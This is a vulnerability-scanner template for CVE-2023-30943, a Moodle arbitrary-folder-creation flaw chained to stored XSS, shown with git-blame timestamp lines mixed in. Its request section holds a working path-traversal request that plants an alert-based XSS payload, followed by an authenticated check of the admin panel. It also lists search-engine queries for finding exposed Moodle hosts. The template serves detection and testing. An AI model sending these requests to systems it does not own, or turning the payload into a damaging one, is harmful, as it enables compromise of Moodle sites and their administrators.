2023-08-31 04:34:29 +00:00
id : CVE-2023-30943
info :
2023-09-12 07:14:40 +00:00
name : Moodle - Cross-Site Scripting/Remote Code Execution
2023-08-31 04:34:29 +00:00
author : ritikchaddha
severity : medium
description : |
2023-09-12 07:14:40 +00:00
The vulnerability was found Moodle which exists because the application allows a user to control path of the older to create in TinyMCE loaders. A remote user can send a specially crafted HTTP request and create arbitrary folders on the system. Moodle versions 4.1.x before 4.1.3 and 4.2.x before 4.2.0 are susceptible to an unauthenticated arbitrary folder creation, tracked as CVE-2023-30943. An attacker can leverage the creation of arbitrary folders to carry out a Stored Cross-Site Scripting (XSS) attack on the administration panel, resulting in arbitrary code execution on the server as soon as an administrator visits the panel.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of these vulnerabilities could lead to unauthorized access, data theft, and potential compromise of the Moodle application and its users.
2023-08-31 04:34:29 +00:00
reference :
- https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1/?utm_source=twitter&utm_medium=social&utm_campaign=wordpress&utm_content=security&utm_term=mofu
- https://nvd.nist.gov/vuln/detail/CVE-2023-30943
2023-10-14 11:27:55 +00:00
- http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-77718
- https://bugzilla.redhat.com/show_bug.cgi?id=2188605
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/54TM5H5PDUDYXOQ7X7PPYWP4AJDAE73I/
2023-09-12 07:19:44 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
cvss-score : 5.3
cve-id : CVE-2023-30943
2023-12-12 11:07:52 +00:00
cwe-id : CWE-610,CWE-73
2024-05-31 19:23:20 +00:00
epss-score : 0.01155
epss-percentile : 0.84809
2023-10-14 11:27:55 +00:00
cpe : cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*
2023-08-31 04:34:29 +00:00
metadata :
2023-09-12 10:04:40 +00:00
max-request : 4
2023-10-14 11:27:55 +00:00
vendor : moodle
product : moodle
2024-06-07 10:04:29 +00:00
shodan-query :
- title:"Moodle"
- cpe:"cpe:2.3:a:moodle:moodle"
- http.title:"moodle"
2024-05-31 19:23:20 +00:00
fofa-query : title="moodle"
google-query : intitle:"moodle"
2023-09-12 07:14:40 +00:00
tags : cve,cve2023,moodle,xss,rce,authenticated
2023-08-31 04:34:29 +00:00
http :
- raw :
- |
2023-09-12 07:14:40 +00:00
GET /lib/editor/tiny/loader.php?rev=a/../../../../html/pix/f/<input><img%20src=x%20onerror=alert(document.domain)>.png HTTP/1.1
2023-08-31 04:34:29 +00:00
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2023-09-12 07:14:40 +00:00
- |
GET /login/index.php HTTP/2
Host : {{Hostname}}
- |
POST /login/index.php HTTP/2
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
anchor=&logintoken={{token}}&username={{username}}&password={{password}}
2023-08-31 04:34:29 +00:00
- |
GET /admin/tool/filetypes/edit.php?name=add HTTP/1.1
Host : {{Hostname}}
host-redirects : true
2023-09-27 15:51:13 +00:00
2023-08-31 04:34:29 +00:00
matchers-condition : and
matchers :
- type : word
2023-09-12 07:14:40 +00:00
part : body_4
2023-08-31 04:34:29 +00:00
words :
2023-09-12 07:14:40 +00:00
- "<img src=x onerror=alert(document.domain)>"
- ">archive"
- "File icon"
2023-08-31 04:34:29 +00:00
condition : and
- type : word
2023-09-12 07:14:40 +00:00
part : header_4
2023-08-31 04:34:29 +00:00
words :
- text/html
- type : status
2023-09-12 07:14:40 +00:00
part : header_4
2023-08-31 04:34:29 +00:00
status :
- 200
2023-09-12 07:14:40 +00:00
extractors :
- type : regex
part : body
name : token
group : 1
regex :
- 'name="logintoken" value="([a-zA-Z0-9]+)">'
internal : true
2024-06-08 16:02:17 +00:00
# digest: 490a004630440220746984a5ba9bde1458e109d2aa1e09cf2c9d344a97074d263836f7a56d72cb440220444a9d8b85eedfe739e6caf0faa3c4d580917fce8252564ae6a16b62d9e1c0d7:922c64590222798bb761d5b6d8e72950